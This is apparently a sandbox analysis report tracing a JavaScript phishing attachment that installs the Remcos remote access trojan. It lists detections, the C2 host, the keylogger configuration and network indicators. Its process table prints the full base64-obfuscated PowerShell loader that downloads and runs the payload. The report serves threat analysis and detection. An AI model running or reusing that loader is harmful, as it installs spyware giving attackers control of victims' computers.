| File name: | Outstanding Payment TT Advice..js |
| Full analysis: | https://app.any.run/tasks/f4056233-be0a-4bd5-b50b-9a5905781b1c |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | May 15, 2025, 14:23:03 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/javascript |
| File info: | JavaScript source, ASCII text, with CRLF line terminators |
| MD5: | 620ED700E0D662CD3F890D5EF4C84D29 |
| SHA1: | 02328AAF62D6834C1630F1FB5DC5C0F751D2A8C9 |
| SHA256: | EEB29A668835C6D7727E45E77BEFAE9A733FDBC027B010EA57E45A298331E796 |
| SSDEEP: | 768:CLnTAoDxR6OxY7Kjx42lpVLnTAoDxR6OxY7Kjx42lpb:iFoMLjzbFoMLjzb |
MALICIOUS
Creates internet connection object (SCRIPT)
- wscript.exe (PID: 7492)
Opens an HTTP connection (SCRIPT)
- wscript.exe (PID: 7492)
Sends HTTP request (SCRIPT)
- wscript.exe (PID: 7492)
Run PowerShell with an invisible window
- powershell.exe (PID: 7672)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 7672)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 7672)
REMCOS has been detected
- MSBuild.exe (PID: 7292)
- MSBuild.exe (PID: 7292)
REMCOS mutex has been found
- MSBuild.exe (PID: 7292)
REMCOS has been detected (SURICATA)
- MSBuild.exe (PID: 7292)
REMCOS has been detected (YARA)
- MSBuild.exe (PID: 7292)
SUSPICIOUS
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 7492)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 7492)
Runs shell command (SCRIPT)
- wscript.exe (PID: 7492)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 7492)
Base64-obfuscated command line is found
- wscript.exe (PID: 7492)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 7492)
Executes script without checking the security policy
- powershell.exe (PID: 7672)
Potential Corporate Privacy Violation
- wscript.exe (PID: 7492)
- powershell.exe (PID: 7672)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 7672)
Contacting a server suspected of hosting an CnC
- MSBuild.exe (PID: 7292)
Reads security settings of Internet Explorer
- MSBuild.exe (PID: 7292)
Connects to unusual port
- MSBuild.exe (PID: 7292)
There is functionality for taking screenshot (YARA)
- MSBuild.exe (PID: 7292)
INFO
Checks proxy server information
- wscript.exe (PID: 7492)
- powershell.exe (PID: 7672)
- MSBuild.exe (PID: 7292)
Disables trace logs
- powershell.exe (PID: 7672)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 7672)
Converts byte array into Unicode string (POWERSHELL)
- powershell.exe (PID: 7672)
Gets data length (POWERSHELL)
- powershell.exe (PID: 7672)
Found Base64 encoded reflection usage via PowerShell (YARA)
- powershell.exe (PID: 7672)
Found Base64 encoded text manipulation via PowerShell (YARA)
- powershell.exe (PID: 7672)
Reads the computer name
- MSBuild.exe (PID: 7292)
Reads the machine GUID from the registry
- MSBuild.exe (PID: 7292)
Checks supported languages
- MSBuild.exe (PID: 7292)
Creates files or folders in the user directory
- MSBuild.exe (PID: 7292)
Creates files in the program directory
- MSBuild.exe (PID: 7292)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Remcos
(PID) Process(7292) MSBuild.exe
C2 (1)wizz111.duckdns.org:31688
BotnetAPRILL
Options
Connect_interval1
Install_flagFalse
Install_HKCU\RunTrue
Install_HKLM\RunTrue
Install_HKLM\Explorer\Run1
Setup_path%LOCALAPPDATA%
Copy_fileremcos.exe
Startup_valueRemcos
Hide_fileFalse
Mutex_nameRmc-P9USOJ
Keylog_flag1
Keylog_path%LOCALAPPDATA%
Keylog_filelogs.dat
Keylog_cryptFalse
Hide_keylogFalse
Screenshot_flagFalse
Screenshot_time5
Take_ScreenshotFalse
Screenshot_path%APPDATA%
Screenshot_fileScreenshots
Screenshot_cryptFalse
Mouse_optionFalse
Delete_fileFalse
Audio_record_time5
Audio_path%ProgramFiles%
Audio_dirMicRecords
Connect_delay0
Copy_dirRemcos
Keylog_dirremcos
Max_keylog_file100000
Total processes
135
Monitored processes
6
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5544 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7292 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
Remcos(PID) Process(7292) MSBuild.exe C2 (1)wizz111.duckdns.org:31688 BotnetAPRILL Options Connect_interval1 Install_flagFalse Install_HKCU\RunTrue Install_HKLM\RunTrue Install_HKLM\Explorer\Run1 Setup_path%LOCALAPPDATA% Copy_fileremcos.exe Startup_valueRemcos Hide_fileFalse Mutex_nameRmc-P9USOJ Keylog_flag1 Keylog_path%LOCALAPPDATA% Keylog_filelogs.dat Keylog_cryptFalse Hide_keylogFalse Screenshot_flagFalse Screenshot_time5 Take_ScreenshotFalse Screenshot_path%APPDATA% Screenshot_fileScreenshots Screenshot_cryptFalse Mouse_optionFalse Delete_fileFalse Audio_record_time5 Audio_path%ProgramFiles% Audio_dirMicRecords Connect_delay0 Copy_dirRemcos Keylog_dirremcos Max_keylog_file100000 | |||||||||||||||
| 7492 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Outstanding Payment TT Advice..js" | C:\Windows\System32\wscript.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 7672 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$counterargument = 'JABwAGEAcgBhAGYAZgBpAG4AbwBpAGQAIAA9ACAAJwAwAC8AVwBjAHoAWAB3AEIARgA2AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAaQBuAHMAaQBuAHUAYQB0AGkAbwBuAHMAIAA9ACAAJABwAGEAcgBhAGYAZgBpAG4AbwBpAGQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAHMAZQBlAGsAZQB0AGgAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AZABvAHcAbgBsAG8AYQBkAC8AcwBrAG0AYgB0AC0AcgBlAGYALQAwADUAMQAyADIAMAAyADUALwBTAEsATQBCAFQAJQAyADAAcgBlAGYAJQAyADAAMAA1ADEAMgAyADAAMgA1AC4AagBwAGcAJwA7ACQAdABlAHMAdABpAGYAaQBlAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdABlAHMAdABpAGYAaQBlAHMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACcATQBvAHoAaQBsAGwAYQAvADUALgAwACcAKQA7ACQAdgBlAG4AZQByAGEAdABpAG8AbgBzACAAPQAgACQAdABlAHMAdABpAGYAaQBlAHMALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAcwBlAGUAawBlAHQAaAApADsAJABwAGUAbgBzAGkAbwBuAGUAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHYAZQBuAGUAcgBhAHQAaQBvAG4AcwApADsAJABkAGkAbQBlAHQAaAB5AGwAYQBjAGUAdABhAGwAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGoAaQBsAHQAZQBlAHMAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQASgBvAHQAdQBuACAAPQAgACQAcABlAG4AcwBpAG8AbgBlAHIALgBJAG4AZABlAHgATwBmACgAJABkAGkAbQBlAHQAaAB5AGwAYQBjAGUAdABhAGwAKQA7ACQAaQBjAGgAbgBlAHUAbQBvAG4AaQBkAGUAcwAgAD0AIAAkAHAAZQBuAHMAaQBvAG4AZQByAC4ASQBuAGQAZQB4AE8AZgAoACQAagBpAGwAdABlAGUAcwApADsAJABKAG8AdAB1AG4AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABpAGMAaABuAGUAdQBtAG8AbgBpAGQAZQBzACAALQBnAHQAIAAkAEoAbwB0AHUAbgA7ACQASgBvAHQAdQBuACAAKwA9ACAAJABkAGkAbQBlAHQAaAB5AGwAYQBjAGUAdABhAGwALgBMAGUAbgBnAHQAaAA7ACQAdABlAHMAdAB1AGQAaQBuAGEAdABhACAAPQAgACQAaQBjAGgAbgBlAHUAbQBvAG4AaQBkAGUAcwAgAC0AIAAkAEoAbwB0AHUAbgA7ACQAbAB5AHMAYQB0AGUAcwAgAD0AIAAkAHAAZQBuAHMAaQBvAG4AZQByAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAEoAbwB0AHUAbgAsACAAJAB0AGUAcwB0AHUAZABpAG4AYQB0AGEAKQA7ACQAawBhAHQAaQBvAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbAB5AHMAYQB0AGUAcwApADsAJABiAHUAZgBmAGUAdABzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGsAYQB0AGkAbwBuACkAOwAkAHMAeQBuAG8AdgBpAGEAbABpAHMAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJABpAG4AcwBpAG4AdQBhAHQAaQBvAG4AcwAsACcAJwAsACcAJwAsACcAJwAsACcATQBTAEIAdQBpAGwAZAAnACwAJwAnACwAJwAnACwAJwAnACwAJwAnACwAJwBDADoAXABVAHMAZQByAHMAXABQAHUAYgBsAGkAYwBcAEQAbwB3AG4AbABvAGEAZABzACcALAAnAHAAZQB0AHQAaQBlAHMAdAAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAcgBoAHkAbgBjAGgAbwBsAG8AcABoAHUAcwAnACwAJwAyACcALAAnACcAKQApAA==' -replace '','';$grievand = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($counterargument));Invoke-Expression $grievand;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7680 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
6 730
Read events
6 724
Write events
6
Delete events
0
Modification events
| (PID) Process: | (7492) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: 24C8100000000000 | |||
| (PID) Process: | (7292) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Rmc-P9USOJ |
| Operation: | write | Name: | exepath |
Value: C7EFB74ADF92F15DD8053D24ACEE72220CD3C292E6C32B4E0A8E3C0C7FA4625698D02AB51241B30A4D244155DD9D56C11233001651886C5A04A6FB9B9C6BB7191AD57CE8D99DA7926F3A5546181EFDED08D124DC463D32235F161ADA378CDC891A112A970C6C582B60E4AA7D7C2272B17397FF4E | |||
| (PID) Process: | (7292) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Rmc-P9USOJ |
| Operation: | write | Name: | licence |
Value: 6394A8C79F81A34BC73D3D1E4C566589 | |||
| (PID) Process: | (7292) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (7292) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (7292) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
Executable files
0
Suspicious files
3
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7672 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:1334E30263CD93B59860E952BDAF3594 | SHA256:411055B5FB7A1C8E003426D48F83180534C29F4B73B60C2D8CABBF6F9B4BDEEB | |||
| 7292 | MSBuild.exe | C:\ProgramData\remcos\logs.dat | binary | |
MD5:54C5A79D2E33C3BC39FCCDF28027F1B2 | SHA256:3A9B76730B71450DED5901FDB3D402B9C85869F3C7DCAA4970D5C951A4B2C09A | |||
| 7672 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ji4gep5i.3i1.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7672 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_gjmqcpj1.vds.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7292 | MSBuild.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\json[1].json | binary | |
MD5:F7E65E9AB513085FA236C839C3B456E3 | SHA256:FE9D008F7C927E459A7DA01C13552D77E103A65CCE7E342B95EE5412CA484A37 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
29
DNS requests
20
Threats
8
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.192:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
7492 | wscript.exe | GET | 301 | 23.186.113.60:80 | http://paste.ee/d/qSlkSaPF/0 | unknown | — | — | shared |
— | — | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6032 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7292 | MSBuild.exe | GET | 200 | 178.237.33.50:80 | http://geoplugin.net/json.gp | unknown | — | — | whitelisted |
6032 | SIHClient.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 23.48.23.192:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 2.23.246.101:80 | www.microsoft.com | Ooredoo Q.S.C. | QA | whitelisted |
5496 | MoUsoCoreWorker.exe | 2.23.246.101:80 | www.microsoft.com | Ooredoo Q.S.C. | QA | whitelisted |
2104 | svchost.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
7492 | wscript.exe | 23.186.113.60:80 | paste.ee | — | — | shared |
7492 | wscript.exe | 23.186.113.60:443 | paste.ee | — | — | shared |
3216 | svchost.exe | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 40.126.32.138:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
paste.ee |
| shared |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
archive.org |
| whitelisted |
dn721209.ca.archive.org |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
7492 | wscript.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
7672 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
2196 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain |
2196 | svchost.exe | Misc activity | ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain |
7292 | MSBuild.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 31 |
7292 | MSBuild.exe | A Network Trojan was detected | REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash |
7292 | MSBuild.exe | Malware Command and Control Activity Detected | ET JA3 Hash - Remcos 3.x/4.x TLS Connection |